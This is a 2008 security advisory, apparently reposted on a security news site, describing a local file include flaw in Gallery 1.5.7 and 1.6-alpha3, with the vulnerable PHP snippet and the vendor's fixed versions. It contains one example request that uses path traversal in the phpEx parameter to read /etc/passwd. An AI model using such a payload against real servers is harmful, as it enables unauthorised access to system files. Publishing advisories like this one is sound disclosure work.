Local File Include Vulnerability in Gallery 1.5.7, 1.6-alpha3

Advisory Content :

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-035

Application: Gallery
Versions Affected: 1.5.7, 1.6-alpha3
Vendor URL: http://gallery.menalto.com/
Bug: Local File Include
Exploits: YES
Reported: 14.07.2008
Vendor response: 15.07.2008
Solution: YES
Date of Public Advisory: 08.08.2008
Authors: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)

Description
***********

Gallery system has local file include vulnerability in script
contrib/phpBB2/modules.php

Successful exploitation requires that "register_globals" is enabled.

Code
****
#################################################

switch ($_REQUEST['op']) {
case 'modload':
// Added with changes in Security for PhpBB2.
define('IN_PHPBB', true);

define ("LOADED_AS_MODULE","1");
$phpbb_root_path = "./";
// connect to phpbb
include_once($phpbb_root_path . 'extension.inc');
include_once($phpbb_root_path . 'common.'.$phpEx);
include_once($phpbb_root_path . 'includes/functions.'.$phpEx);

#################################################

Example:

http://[server]/[installdir]/contrib/phpBB2/modules.php?op=modload&phpEx
=../../../../../../../../../../../../../etc/passwd

Solution
********

Vendor fix this flaw on 05.08.2008. Download Gallery 1.5.8 and 1.6-RC1 from
download page on SourceForge:

http://sourceforge.net/project/showfiles.php?group_id=7130&package_id=72
39&abmode=1

More information about release:
http://gallery.menalto.com/gallery_1.5.8_released

About
*****

Digital Security is leading IT security company in Russia, providing
information security consulting, audit and penetration testing services,
risk analysis and ISMS-related services and certification for ISO/IEC
27001:2005 and PCI DSS standards. Digital Security Research Group focuses
on web application and database security problems with vulnerability
reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Local File Include Vulnerability in Gallery 1.5.7, 1.6-alpha3